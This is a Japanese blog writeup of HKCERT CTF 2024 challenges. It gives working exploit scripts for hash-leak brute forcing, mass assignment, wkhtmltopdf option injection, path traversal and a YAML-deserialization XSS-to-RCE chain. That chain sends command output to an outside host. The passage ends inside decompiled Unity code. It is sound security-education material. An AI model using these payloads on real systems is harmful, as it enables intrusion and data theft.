st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

HKCERT CTF 2024 (Qualifying Round) writeup

11/8 - 11/10という日程で開催された。BunkyoWesternsのst98kamo*1として参加して5位。とても長いルールを読むと、中等教育の過程にある香港人、高等教育の過程にある香港人、18歳以上の香港人、そしてそれら以外の全世界の人という4つのチームのカテゴリがあり、それぞれ5チームずつが決勝へ進めることになっているとわかる。我々はギリギリストレートにqualifiedということで、1月に香港で開催される決勝大会*2を楽しみにしたい。


[Web 100] New Free Lunch (587 solves)

You are Chris Wong, you have a mission to win the game and redeem the free meal. Try to get over 300 score. Your flag will appears in scoreboard.php.

Note: There is a step-by-step guide to the challenge.

(問題サーバのURL)

ソースコードは与えられていない。与えられたURLにアクセスすると、ログインフォームが表示される。適当なユーザ名とパスワードで登録しログインすると、なにやらゲームが表示された。白黒のマスが上から下に流れていく。黒いマスをクリックすると1点プラス、白いマスをクリックしたり、クリックしないままに黒いマスが一番下に到達するとゲームオーバーらしい。

300点を超えろということだが、面倒くさいのでチートをしたい。ゲームオーバー時の処理は次の通り。スコア等々の情報はクライアント側で保持されており、最終的にサーバに送られるのは、スコアと、それを generateHash という謎の関数でハッシュ化したものの2つだ。

        async function endGame() {
            clearInterval(gameInterval);
            clearInterval(timerInterval);
            alert('Game Over! Your score: ' + score);

            const hash = generateHash(secretKey + username + score);

            fetch('/update_score.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                    'Authorization': `Bearer ${token}`
                },
                body: JSON.stringify({
                    score: score,
                    hash: hash
                })
            })
            .then(response => response.json())
            .then(data => {
                if (data.success) {
                    alert('Score updated!');
                } else {
                    alert('Failed to update score.');
                }
                location.reload();
            });
        }

ならば、スコアが格納されている score を書き換えてしまおう。setInterval(() => { score = 301 }, 10) をDevToolsで実行して、10msごとにスコアを301点に書き換える。このままゲームオーバーになると、無事に301点でランキングに登録され、フラグを手に入れることができた。

hkcert24{r3d33m_f0r_4_fr33_lunch}

[Web 200] Mystiz's Mini CTF (1) (48 solves)

"A QA engineer walks into a bar. Orders a beer. Orders 0 beers. Orders 99999999999 beers. Orders a lizard. Orders -1 beers. Orders a ueicbksjdhd."

I am working on yet another CTF platform. I haven't implement all the features yet, but I am confident that it is at least secure.

Can you send me the flag of the challenge "Hack this site!"?

添付ファイル: minictf-1_bc36d27733c38dceeec332324267b77d.zip

ユーザごとに問題サーバのインスタンスが作成できるようになっている。破壊的な攻撃ができるとか、そうしなければならない事情があるのだろうか。さて、問題文でも書かれているように、これはCTFのスコアサーバを攻撃する問題らしい。(1) と問題名にあることから推測できるように、同じサーバを対象に (1) とは異なる攻撃を行う必要のある別の問題もある。

まず Dockerfile を確認すると、環境変数でこれら2問のフラグが設定されていることがわかる。

ENV FLAG_1=hkcert24{this_is_a_test_flag_1}
ENV FLAG_2=hkcert24{this_is_a_test_flag_2}

DBを初期化する web/migrations/versions/96fa27cc07b9_init.py でこれらの環境変数が参照されている。FLAG_1 が参照されている箇所は次の通り。Hack this site! という問題でこれがフラグとして設定されており、player というユーザが正解しているらしい。

この player というユーザのパスワードは6桁のhexとなっている。弱そうだけれども、リモートで試すには試行に必要な回数が多すぎるし、ローカルで試そうにもなんとかしてハッシュ化されたパスワードを得る必要がある。

    ADMIN_PASSWORD = os.urandom(33).hex()
    PLAYER_PASSWORD = os.urandom(3).hex()

    FLAG_1 = os.environ.get('FLAG_1', 'flag{***REDACTED1***}')
    FLAG_2 = os.environ.get('FLAG_2', 'flag{***REDACTED2***}')
# …
    db.session.add(User(id=2, username='player', is_admin=False, score=500, password=PLAYER_PASSWORD, last_solved_at=datetime.fromisoformat('2024-05-11T03:05:00')))
# …
    db.session.add(Challenge(id=1, title='Hack this site!', description=f'I was told that there is <a href="/" target="_blank">an unbreakable CTF platform</a>. Can you break it?', category=Category.WEB, flag=FLAG_1, score=500, solves=1, released_at=RELEASE_TIME_NOW))
# …
    db.session.add(Attempt(challenge_id=1, user_id=2, flag=FLAG_1, is_correct=True, submitted_at=RELEASE_TIME_NOW))

このアプリは /api/challenges//api/users/, /api/attempts/ といったAPIを持っているわけだけれども、コードを見てみると、以下のようにいずれのAPIもグループ化に対応していることがわかる。group というクエリパラメータが与えられると、指定されたカラムをキーとしてグループ化してくれるらしい。

class GroupAPI(MethodView):
    init_every_request = False

    def __init__(self, model):
        self.model = model

        self.name_singular = self.model.__tablename__
        self.name_plural = f'{self.model.__tablename__}s'
    
    def get(self):
        # the users are only able to list the entries related to them
        items = self.model.query_view.all()

        group = request.args.get('group')

        if group is not None and not group.startswith('_') and group in dir(self.model):
            grouped_items = collections.defaultdict(list)
            for item in items:
                id = str(item.__getattribute__(group))
                grouped_items[id].append(item.marshal())
            return jsonify({self.name_plural: grouped_items}), 200

        return jsonify({self.name_plural: [item.marshal() for item in items]}), 200

本来その内容が外部へ漏れるべきでないカラムを指定できないか。試しに /api/users/?group=password にアクセスしてみると、次のように本来は閲覧できない各ユーザのハッシュ化されたパスワードが得られてしまった。

$ curl "http://localhost:5000/api/users/"
{"users":[{"id":1,"is_admin":true,"score":0,"username":"admin"},{"id":2,"is_admin":false,"score":500,"username":"player"}]}
$ curl "http://localhost:5000/api/users/?group=password"
{"users":{"8b7ff425.05eb8db7da264731b86823343fac4c8699dae67f08697ab017249bccf0e6d2cf":[{"id":1,"is_admin":true,"score":0,"username":"admin"}],"d4db1341.0f36fb41e0fd339078c25dee01cbd42b3238597b74fc51adc6af42c09f982dc3":[{"id":2,"is_admin":false,"score":500,"username":"player"}]}}

ちなみに、フラグも同じ要領で盗み出すことができるのではないかと思ってしまうが、残念ながらユーザのパスワードと同様にハッシュ化されている*3のでダメだ。

$ curl "http://localhost:5000/api/challenges/?group=flag"
{"challenges":{"3e4ea987.d1e840ba549ce0bab51aa3f106ec88363edc64960c83d5603c66bd5a5f6df822":[{"category":"web","description":"I was told that there is <a href=\"/\" target=\"_blank\">an unbreakable CTF platform</a>. Can you break it?","id":1,"released_at":"Wed, 13 Nov 2024 00:00:00 GMT","score":500,"solves":1,"title":"Hack this site!"}],…

ユーザのパスワードは以下のような形式でハッシュ化され、データベースに保存されている。これならばクラックも容易だ。

def compute_hash(password, salt=None):
    if salt is None:
        salt = os.urandom(4).hex()
    return salt + '.' + hashlib.sha256(f'{salt}/{password}'.encode()).hexdigest()

では、player としてログインしてどうするか。先程 /api/attempts/ というAPIがあると紹介したけれども、これはこれまでの自身のフラグの送信状況を確認できるものだ。本来は {"attempts":[{"challenge_id":2,"id":2,"is_correct":false,"user_id":3}]} のようにどんなフラグを試したかはわからないようになっているが、先程と同じ要領でグループ化を悪用してその内容が得られるようになる。/api/attempts では送信されたフラグをハッシュ化せずに格納しているので、そのまま FLAG_1 が得られるはずだ。

最終的に、以下のようなexploitができあがった。

import hashlib
import itertools
import string
import httpx

def compute_hash(password, salt=None):
    return salt + '.' + hashlib.sha256(f'{salt}/{password}'.encode()).hexdigest()

with httpx.Client(base_url='https://(省略)/') as client:
    r = client.get('/api/users/?group=password').json()
    for k, v in r['users'].items():
        if v[0]['username'] == 'player':
            salt, h = k.split('.')
            break

    for p in itertools.product(string.digits + 'abcdef', repeat=6):
        p = ''.join(p)
        if compute_hash(p, salt).split('.')[1] == h:
            print(p)
            break

    client.post('/login/', data={
        'username': 'player',
        'password': p
    })

    print(client.get('/api/attempts/?group=flag').json())

実行するとフラグが得られた。

$ python3 1.py
7df71e
{'attempts': {'hkcert24{y0u_c4n_9r0up_unsp3c1f13d_4t7r1bu73s_fr0m_th3_4tt3mp7_m0d3l}': [{'challenge_id': 1, 'id': 1, 'is_correct': True, 'user_id': 2}]}}
hkcert24{y0u_c4n_9r0up_unsp3c1f13d_4t7r1bu73s_fr0m_th3_4tt3mp7_m0d3l}

[Web 100] Mystiz's Mini CTF (2) (72 solves)

"A QA engineer walks into a bar. Orders a beer. Orders 0 beers. Orders 99999999999 beers. Orders a lizard. Orders -1 beers. Orders a ueicbksjdhd."

I am working on yet another CTF platform. I haven't implement all the features yet, but I am confident that it is at least secure.

Can you send me the flag of the challenge "A placeholder challenge"?

添付ファイル: minictf-1_bc36d27733c38dceeec332324267b77d.zip

添付されているファイルは (1) と同じだ。FLAG_2 が参照されている箇所は次の通り。問題文に平文でフラグが含まれているが、リリースされるのが来年ということで問題一覧からは閲覧できない。

    RELEASE_TIME_NOW    = date.today()
    RELEASE_TIME_BACKUP = date.today() + timedelta(days=365)
# …
    db.session.add(Challenge(id=7, title='A placeholder challenge', description=f'Many players complained that the CTF is too guessy. We heard you. As an apology, we will give you a free flag. Enjoy - <code>{FLAG_2}</code>.', category=Category.MISC, flag=FLAG_2, score=500, solves=0, released_at=RELEASE_TIME_BACKUP))

実は /api/admin/challenges/ というAPIが存在しており、ここからならばリリース時刻は関係なくすべての問題の情報を閲覧できる。このAPIにアクセスするには管理者である必要がある、もっと正確に言えばそのユーザの is_admin カラムが True である必要があるが、どうすればこの条件を満たせるか。最初からこの条件を満たしている admin というユーザがいるにはいるし、ハッシュ化されたパスワードは (1) の手法で手に入れられるが、(1) で確認したようにそのパスワードは os.urandom(33).hex() と現実的にはクラック不可能だ。

@route.route('/', methods=[HTTPMethod.GET])
@login_required
def list_challenges():
    if not current_user.is_admin:
        return jsonify({'error': 'not an admin'}), HTTPStatus.FORBIDDEN

    challenges = Challenge.query.all()

    return jsonify({
        'challenges': [challenge.admin_marshal() for challenge in challenges]
    }), HTTPStatus.OK

では、新しくユーザを登録した際に is_adminTrue に書き換えることはできないか。ユーザを登録できるAPIである /register/ のコードは次の通り。

@route.route('/register/', methods=[HTTPMethod.POST])
def register_submit():
    user = User()
    UserForm = model_form(User)

    form = UserForm(request.form, obj=user)

    if not form.validate():
        flash('Invalid input', 'warning')
        return redirect(url_for('pages.register'))

    form.populate_obj(user)

    user_with_same_username = User.query_view.filter_by(username=user.username).first()
    if user_with_same_username is not None:
        flash('User with the same username exists.', 'warning')
        return redirect(url_for('pages.register'))

    db.session.add(user)
    db.session.commit()

    login_user(user)
    return redirect(url_for('pages.homepage'))

User の定義は次の通り。is_admin がユーザによって置き換えられないよう対策をしているようには思われない。

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String, nullable=False)
    is_admin = db.Column(db.Boolean, default=False)
    password = db.Column(db.String, nullable=False)
    score = db.Column(db.Integer, default=0)
    last_solved_at = db.Column(db.DateTime)

    query_view = _QueryViewProperty()

    def marshal(self):
        return {
            'id': self.id,
            'username': self.username,
            'is_admin': self.is_admin,
            'score': self.score
        }

    # for flask-login
    def is_authenticated(self):
        return True

    @property
    def is_active(self):
        return True

    @property
    def is_anonymous(self):
        return False

    def get_id(self):
        return self.id

    def check_password(self, password):
        salt, digest = self.password.split('.')
        return compute_hash(password, salt) == self.password

そういうわけで、ユーザ登録時に強引に is_admin を追加し、/api/admin/challenges/ を叩いてみるexploitを用意する。

import httpx

with httpx.Client(base_url='https://(省略)') as client:
    client.post('/register/', data={
        'username': 'poyopoyo',
        'password': 'poyopoyo',
        'is_admin': '1'
    })

    r = client.get('/api/admin/challenges/').json()
    for chall in r['challenges']:
        if 'hkcert' in chall['description']:
            print(chall['description'])

実行するとフラグが得られた。

$ python3 2.py
Many players complained that the CTF is too guessy. We heard you. As an apology, we will give you a free flag. Enjoy - <code>hkcert24{y0u_c4n_wr1t3_unsp3c1f13d_4t7r1bu73s_t0_th3_us3r_m0d3l}</code>.
hkcert24{y0u_c4n_wr1t3_unsp3c1f13d_4t7r1bu73s_t0_th3_us3r_m0d3l}

[Web 150] Webpage to PDF (1) (295 solves)

Thanks to Poe I coded a webpage to PDF in seconds! I am genius right?

Note: There is a step-by-step guide to the challenge.

添付ファイル: webpage-to-pdf-1_15c8547227b822545a78cbff640fb324.zip

与えられたURLにアクセスすると、次のようにURLを入力できるフォームが表示された。適当に https://example.com を入力してみると、このサイトをPDF化したファイルが返ってきた。なるほど、WebページをPDFにしてくれるWebアプリらしい。

サーバ側のコードを見ていく。Dockerfile からは COPY ./flag.txt / からルートディレクトリにフラグがあることがわかる。なんとかしてこれを読み出したい。

PDFの生成処理を見ていく。自前の execute_command という関数を使いつつ、wkhtmltopdf でHTMLをPDFに変換している。出力先のファイル名はCookieから持ってきているけれども、署名等はされておらず、ユーザが設定したものがそのままOSコマンドに展開されるようになっている。OSコマンドインジェクションなり、オプションの付与なりできないだろうか。

なお、file:///flag.txt をフォームで入力するというのは通らない。wkhtmltopdf による変換にあたって、requests.get で対象のURLからコンテンツを引っ張ってきているけれども、requestsは file: スキームに対応していないためだ。

@app.route('/process', methods=['POST'])
def process_url():
    # Get the session ID of the user
    session_id = request.cookies.get('session_id')
    html_file = f"{session_id}.html"
    pdf_file = f"{session_id}.pdf"

    # Get the URL from the form
    url = request.form['url']
    
    # Download the webpage
    response = requests.get(url)
    response.raise_for_status()

    with open(html_file, 'w') as file:
        file.write(response.text)

    # Make PDF
    stdout, stderr, returncode = execute_command(f'wkhtmltopdf {html_file} {pdf_file}')

    if returncode != 0:
        return f"""
        <h1>Error</h1>
        <pre>{stdout}</pre>
        <pre>{stderr}</pre>
        """
        
    return redirect(pdf_file)

execute_command は次の通り。オプションの付与ができそう。

def execute_command(command):
    """
    Execute an external OS program securely with the provided command.

    Args:
        command (str): The command to execute.

    Returns:
        tuple: (stdout, stderr, return_code)
    """
    # Split the command into arguments safely
    args = shlex.split(command)

    try:
        # Execute the command and capture the output
        result = subprocess.run(
            args,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True,
            check=True  # Raises CalledProcessError for non-zero exit codes
        )
        return result.stdout, result.stderr, result.returncode
    except subprocess.CalledProcessError as e:
        # Return the error output and return code if command fails
        return e.stdout, e.stderr, e.returncode

wkhtmltopdf は、古いバージョンだとデフォルトの設定で file:///flag.txtiframe で埋め込むことでローカルのファイルを表示させることができる等々、マズい挙動を示すことで知られている。問題サーバで使われているバージョンは0.12.5と古めに見えるものの、記事中で紹介されている手法は通らず。

root@c80fa5de0e10:/# wkhtmltopdf --version
wkhtmltopdf 0.12.5

ではどうするか。Cookieからオプションを仕込めばよい。wkhtmltopdf--enable-local-file-access オプションを付与することでローカルファイルへのアクセスも可能となることを利用しよう。まず <iframe src=file:///flag.txt></iframe> という内容のHTMLを poyopo.html に保存させる。この時点では、もちろん /flag.txt へのアクセスはブロックされる。

$ curl -X POST https://(省略)/process -b "session_id=poyopo" -d "url=http://(省略)/a.html"

        <h1>Error</h1>
        <pre></pre>
        <pre>QStandardPaths: XDG_RUNTIME_DIR not set, defaulting to '/tmp/runtime-root'
Loading page (1/2)
[>                                                           ] 0%
[==============================>                             ] 50%
Warning: Blocked access to file /flag.txt
Error: Failed to load about:blank, with network status code 301 and http status code 0 - Protocol "about" is unknown
[============================================================] 100%
Printing pages (2/2)
[>                                                           ]
Done
Exit with code 1 due to network error: ProtocolUnknownError
</pre>

続いて、次のようにセッションIDから --enable-local-file-access を仕込むことで、ローカルファイルへの制限を解除しつつ poyopo.html をPDFに変換させる。

$ curl -X POST https://(省略)/process -b "session_id=--enable-local-file-access poyopo" -d "url=https://example.com"
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="--enable-local-file-access poyopo.pdf">--enable-local-file-access poyopo.pdf</a>. If not, click the link.

生成されたPDFにアクセスすると、フラグが得られた。

hkcert24{h0w-t0-use-AI-wisely-and-s4fe1y?}

[Web 150] Custom Web Server (1) (95 solves)

Someone said: 'One advantage of having a homemade server is that it becomes much harder to hack.' Do you agree? Give reasons.

Note: The files in src/public are unrelated for the challenge.

(問題サーバのURL)

添付ファイル: custom-server-1_6d8967a25def900543b2f8f012b7e673.zip

Cで書かれたHTTPサーバが与えられる。わあ。まず Dockerfile を見ると COPY ./flag.txt /flag.txt とあり、なんとかしてこれを読むのがゴールであるとわかる。クライアントが接続してくると、まず handle_client が呼び出される。1024文字を読み出して GET / 以降、スペースや改行文字等の区切り文字までをリクエストされたパスとして、read_file で対応するファイルの内容を返そうとしている。

#define BUFFER_SIZE 1024
// …
void handle_client(int socket_id) {
    char buffer[BUFFER_SIZE];
    char requested_filename[BUFFER_SIZE];

    while (1) {
        memset(buffer, 0, sizeof(buffer));
        memset(requested_filename, 0, sizeof(requested_filename));

        if (read(socket_id, buffer, BUFFER_SIZE) == 0) return;

        if (sscanf(buffer, "GET /%s", requested_filename) != 1)
            return build_response(socket_id, 500, "Internal Server Error", read_file("500.html"));

        FileWithSize *file = read_file(requested_filename);
        if (!file)
            return build_response(socket_id, 404, "Not Found", read_file("404.html"));

        build_response(socket_id, 200, "OK", file);
    }
}

read_file と関連する関数の定義は次の通り。../ が使われているかまったくチェックしていないのでPath Travarsalできそうだけれども、やっかいなことに ends_with.html, .png, .css, .js のいずれかで終わっているかチェックされている。/flag.txt を読みたいので困った。

bool ends_with(char *text, char *suffix) {
    int text_length = strlen(text);
    int suffix_length = strlen(suffix);

    return text_length >= suffix_length && \
           strncmp(text+text_length-suffix_length, suffix, suffix_length) == 0;
}

FileWithSize *read_file(char *filename) {
    if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return NULL;

    char real_path[BUFFER_SIZE];
    snprintf(real_path, sizeof(real_path), "public/%s", filename);

    FILE *fd = fopen(real_path, "r");
    if (!fd) return NULL;

    fseek(fd, 0, SEEK_END);
    long filesize = ftell(fd);
    fseek(fd, 0, SEEK_SET);

    char *content = malloc(filesize + 1);
    if (!content) return NULL;

    fread(content, 1, filesize, fd);
    content[filesize] = '\0';

    fclose(fd);

    FileWithSize *file = malloc(sizeof(FileWithSize));
    file->content = content;
    file->size = filesize;
 
    return file;
}

read_file を眺めていると、拡張子をチェックした後で public/ に指定されたパスを結合していることに気づいた。それだけなら問題ないけれども、snprintf を使っているので1023文字で切られてしまう。つまり、../../../../…/flag.txt.js のようなパスが渡るようにして、チェック時には .js で終わっていると判定されるけれども、その後の snprintf/flag.txt で切れるよう文字数を調整すればよいのではないか。

    if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return NULL;

    char real_path[BUFFER_SIZE];
    snprintf(real_path, sizeof(real_path), "public/%s", filename);

ということで試す。できた。

$ curl --path-as-is "https://(省略)/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../..////flag.txt.js"
hkcert24{bu1ld1n9_4_w3bs3rv3r_t0_s3rv3_5t4t1c_w3bp4935_1s_n0ntr1vial}
hkcert24{bu1ld1n9_4_w3bs3rv3r_t0_s3rv3_5t4t1c_w3bp4935_1s_n0ntr1vial}

[Web 400] JSPyaml (18 solves)

I only know how to parse YAML with Python, so I use JS to run Python to parse YAML.

添付ファイル: jspyaml_3c3a6ee9d56cc287a5852cc8873b594b.zip

いい感じにYAMLをパースしてくれるWebアプリが与えられている。まずフラグの在り処を確認していく。proof.sh という以下のような内容のシェルスクリプトが存在しており、これが COPY proof.sh /proof.sh に設置されるらしい。RCEに持ち込む必要がありそうだ。

#!/bin/sh
echo hkcert22{22222222222222222222}

XSS botも用意されている。いつものやつという感じで、与えられたURLにただアクセスするだけらしい。

        console.log(`Opening browser for ${url}`);
        browser = await puppeteer.launch({
            headless: true,
            pipe: true,
            executablePath: '/usr/bin/chromium',
            args: [
                '--no-sandbox',
                '--disable-setuid-sandbox',
                '--disable-gpu',
                '--jitless'
            ]
        });
        const ctx = await browser.createBrowserContext();
        await Promise.race([
            sleep(TIMEOUT),
            visit(ctx, url),
        ]);

ではこのbotはどこにアクセスさせればよいか。/debug というAPIが存在しており、これは js-yaml を使ってサーバ側でYAMLのパースをしてくれる。ローカルからのアクセスでなければこのAPIを使えないので、XSSなりなんなりでbotにこいつを叩かせればよさそうだ。なお、req.cookies.debugon かどうかチェックされているけれども、これはXSSさえできれば document.cookie = 'on' で突破できるのでどうでもよい。

app.post('/debug', (req, res) => {
    if(ip.isLoopback(req.ip) && req.cookies.debug === 'on'){
        const yaml = require('js-yaml');
        let schema = yaml.DEFAULT_SCHEMA.extend(require('js-yaml-js-types').all);
        try{
            let input = req.body.yaml;
            console.log(`Input: ${input}`);
            let output = yaml.load(input, {schema});
            console.log(`Output: ${output}`);
            res.json(output);
        }catch(e){
            res.status(400).send('Error');
        }
    }else{
        res.status(401).send('Unauthorized');
    }
});

YAMLのパースからサーバ側でのRCEへ

XSSは後で考えることにして、まずはサーバ側でどうRCEに持ち込むか考えていく。/debug では yaml.load に用いるスキーマとして yaml.DEFAULT_SCHEMA.extend(require('js-yaml-js-types').all) を用いている。js-yaml ではデフォルトだと関数をデシリアライズできないところ、このスキーマは関数も作れてしまうものなのでマズい。/debug ではYAMLのデシリアライズ後に文字列化を行っているので、toString プロパティに /proof.sh を実行する関数を仕込めばよさそうだ。

試してみると、次のようにしてYAMLのデシリアライズからRCEへ持ち込めた。

$ node
…
> yaml.load(`- toString: !!js/function 'function () { return console.log(123) }'`, { schema }) + ''
123
'undefined'

YAMLのパースからクライアント側でのXSSへ

クライアント側のコードは次のような感じ。フォームで入力された、もしくはフラグメント識別子で設定されたYAMLをパースして出力している。けれども、そのやり方がなかなか妙で、ブラウザ上でPythonを実行できるPyodideを使いつつ、PyYAMLでパースしている。なんで?

<body>
    <h1>YAML Parser</h1>
    <textarea id="yaml" placeholder="- YAML"></textarea><br>
    <button id="parse">Parse</button>
    <h2>Output:</h2>
    <pre id="output"></pre>

    <script>
    let pyodide;
    async function init(){
    pyodide = await loadPyodide();
    await pyodide.loadPackage("pyyaml");
    runHash();
    }
    async function run(y){
    x = `+'`'+`import yaml
yaml.load("""`+`$`+`{y.replaceAll('"','')}""",yaml.Loader)`+'`'+`;
            try {
                output.textContent = await pyodide.runPythonAsync(x);
            } catch (e) {
                output.textContent = e;
            }
    }
        async function runHash() {
            const hash = decodeURIComponent(window.location.hash.substring(1));
            if (hash) {
                yaml.value = hash;
                run(hash);
            }
        }        
        parse.addEventListener("click", async () => {run(yaml.value)});
        onhashchange = runHash;
        onload = init;
    </script>
</body>

安全な yaml.safe_load でなく、わざわざ yaml.load を使っているので、Python上でのRCEは容易に可能だ。ここからJSの実行につなげたいところだが、PyodideはそのようなAPIを提供しているだろうか。

公式ドキュメントを探すと、pyodide.code.run_js を見つけた。以下のYAMLを入力してみるとアラートが表示された。

!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('pyodide.code').code.run_js('alert(123)')"

解く

あとはやるだけ…というほどやるだけでもない。適切にエンコードをするスクリプトを用意する。

import urllib.parse
p1 = '''
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('pyodide.code').code.run_js('PAYLOAD')"
'''.strip()

p2 = '''
eval(String.fromCharCode(PAYLOAD))
'''.replace('\n', '')

p3 = '''
(async () => {
    const url = 'https://(省略)?';
    document.cookie = "debug=on";
    
    await (await fetch("/debug", {
        method: "POST",
        headers: {"Content-Type": "application/x-www-form-urlencoded"},
        body: 'yaml=' + encodeURIComponent(`- toString: !!js/function 'function () { return fetch("${url}" + btoa(process.mainModule.require("child_process").execSync("/proof.sh").toString())) }'`)
    })).text();
})();
'''.replace('\n', '')
p3 = ','.join(str(ord(c)) for c in p3)

p2 = p2.replace('PAYLOAD', p3)

print('http://localhost:3000/#' + urllib.parse.quote(p1.replace('PAYLOAD', p2)))

これでローカルではうまくいったが、なぜかリモートではうまくいかない。サーバ側での問題なのかなんなのかはわからないが、チケットを立てて相談した。すると、作問者のローカル環境で試したらうまくいったということでお情けでフラグをもらえた。

hkcert24{Owasp_0wasm_ma1ware_palware}

[Reverse 100] Void (147 solves)

I made a simple webpage that checks whether the flag is correct... Wait, where are the flag-checking functions?

(問題サーバのURL)

与えられたURLにアクセスすると、次のような感じでフラグを聞かれた。

ソースを見ると次のような感じ。何が起こっているのか。

さらにスクロールすると以下のようなコードが見つかる。なるほど、最近バズっていた不可視の文字でコードをエンコードするやつっぽい。

// https://x.com/aemkei/status/1843756978147078286
function \u3164(){return f="",p=[]  
,new Proxy({},{has:(t,n)=>(p.push(
n.length-1),2==p.length&&(p[0]||p[
1]||eval(f),f+=String.fromCharCode
(p[0]<<4|p[1]),p=[]),!0)})}//aem1k

eval(f) という処理が見えているので、これを console.log に置き換える。次のようなJavaScriptコードを復元できた。

const flag = document.getElementById('flag');
flag.focus();

handleKeyPress = event => event.key === 'Enter' && check();

function check() {
    if (flag.value === 'hkcert24{j4v4scr1p7_1s_n0w_alm0s7_y3t_4n0th3r_wh173sp4c3_pr09r4mm1n9_l4ngu4g3}') {
        flag.disabled = true;
        flag.classList.add('correct');
    } else {
        flag.classList.add('wrong');
        setTimeout(() => flag.classList.remove('wrong'), 500);
    }
}
hkcert24{j4v4scr1p7_1s_n0w_alm0s7_y3t_4n0th3r_wh173sp4c3_pr09r4mm1n9_l4ngu4g3}

[Reverse 500] MBTI Radar (13 solves)

Enter your name to receive the MBTI of the next 12 people you will meet later!

添付ファイル: unity_a733362e24a99fb1317c2e8db09994bc.zip

与えられたファイルを展開して実行ファイルを実行すると、次のような画面が表示された。名前を入力して "Roll 12" を押すと12個のMBTIが表示される。この表示される順番は入力した名前ごとに固有で、ESFP ISTP ESFJ … という順番で表示される名前を見つければよいらしい。

とりあえず _ と入力すると、"Name can only be alphanumeric characters!" と表示された。英数字だけというのはありがたい。1個ずつ試していくと、1 で次の段階に進んだ。

画面は次のように変わる。今度は2文字の名前らしい。なるほど、1文字ずつ増えていくやつだ。解析か自動化の必要がありそう。

起動時のロゴからUnityであるのは明らかだ。ILのままなら解析しやすくありがたいのだけれども、残念ながら il2cpp_data というフォルダ名が見える。IL2CPPを通してネイティブコードにコンパイルされてしまっているらしい。

幸いにも windows/main_Data/il2cpp_data/Metadata 下に global-metadata.dat が存在しており、かつこれは af 1b b1 fa から始まっていることから推測できるように暗号化されていない。Il2CppDumperを使えば、シンボル情報を復元した上でGhidra等で解析ができる。それでもしんどいけど。

出力された DummyDll/Assembly-CSharp.dll をILSpyに投げてメインの処理を探す。GameBehaviourValidName, HashName, UpdateChallenge といった気になるメソッドが生えている。これをGhidraで見ていこう。

まず GameBehaviour のコンストラクタは次の通り。StringLiteral_533StringLiteral_1171 といった文字列リテラルが代入されているが、これらは ESFP ISTP ESFJ … というような内容だ。なるほど、これがステージごとに目指すべきMBTIのリストらしい。

void GameBehaviour$$.ctor(longlong param_1)

{
  code *pcVar1;
  undefined8 uVar2;
  longlong lVar3;
  
  if (DAT_180ce4723 == '\0') {
    thunk_FUN_180113910(&int[]_TypeInfo);
    thunk_FUN_180113910(&string[]_TypeInfo);
    thunk_FUN_180113910(&
                        Field$<PrivateImplementationDetails>.90D856B7ECAC90C26898AF8A46404297AA0EF65 768F62FDF8C3F08294BCBEE49
                       );
    thunk_FUN_180113910(&StringLiteral_1161);
    thunk_FUN_180113910(&StringLiteral_1215);
    thunk_FUN_180113910(&StringLiteral_4547);
    thunk_FUN_180113910(&StringLiteral_982);
    thunk_FUN_180113910(&StringLiteral_529);
    thunk_FUN_180113910(&StringLiteral_527);
    thunk_FUN_180113910(&StringLiteral_533);
    thunk_FUN_180113910(&StringLiteral_1171);
    DAT_180ce4723 = '\x01';
  }
  *(undefined8 *)(param_1 + 0x28) = StringLiteral_982;
  thunk_FUN_1801615d0(param_1 + 0x28,StringLiteral_982);
  *(undefined8 *)(param_1 + 0x30) = StringLiteral_4547;
  thunk_FUN_1801615d0(param_1 + 0x30,StringLiteral_4547);
  uVar2 = FUN_18016ee60(int[]_TypeInfo,6);
  System.Runtime.CompilerServices.RuntimeHelpers$$InitializeArray
            (uVar2,
             Field$<PrivateImplementationDetails>.90D856B7ECAC90C26898AF8A46404297AA0EF65768F62FDF8C 3F08294BCBEE49
             ,0);
  *(undefined8 *)(param_1 + 0x60) = uVar2;
  thunk_FUN_1801615d0(param_1 + 0x60,uVar2);
  lVar3 = FUN_18016ee60(string[]_TypeInfo,6);
  if (lVar3 != 0) {
    if (*(int *)(lVar3 + 0x18) != 0) {
      *(undefined8 *)(lVar3 + 0x20) = StringLiteral_533;
      thunk_FUN_1801615d0(lVar3 + 0x20);
      if (1 < *(uint *)(lVar3 + 0x18)) {
        *(undefined8 *)(lVar3 + 0x28) = StringLiteral_1171;
        thunk_FUN_1801615d0(lVar3 + 0x28);
        if (2 < *(uint *)(lVar3 + 0x18)) {
          *(undefined8 *)(lVar3 + 0x30) = StringLiteral_1215;
          thunk_FUN_1801615d0(lVar3 + 0x30);
          if (3 < *(uint *)(lVar3 + 0x18)) {
            *(undefined8 *)(lVar3 + 0x38) = StringLiteral_1161;
            thunk_FUN_1801615d0(lVar3 + 0x38);
            if (4 < *(uint *)(lVar3 + 0x18)) {
              *(undefined8 *)(lVar3 + 0x40) = StringLiteral_529;
              thunk_FUN_1801615d0(lVar3 + 0x40);
              if (5 < *(uint *)(lVar3 + 0x18)) {
                *(undefined8 *)(lVar3 + 0x48) = StringLiteral_527;
                thunk_FUN_1801615d0(lVar3 + 0x48);
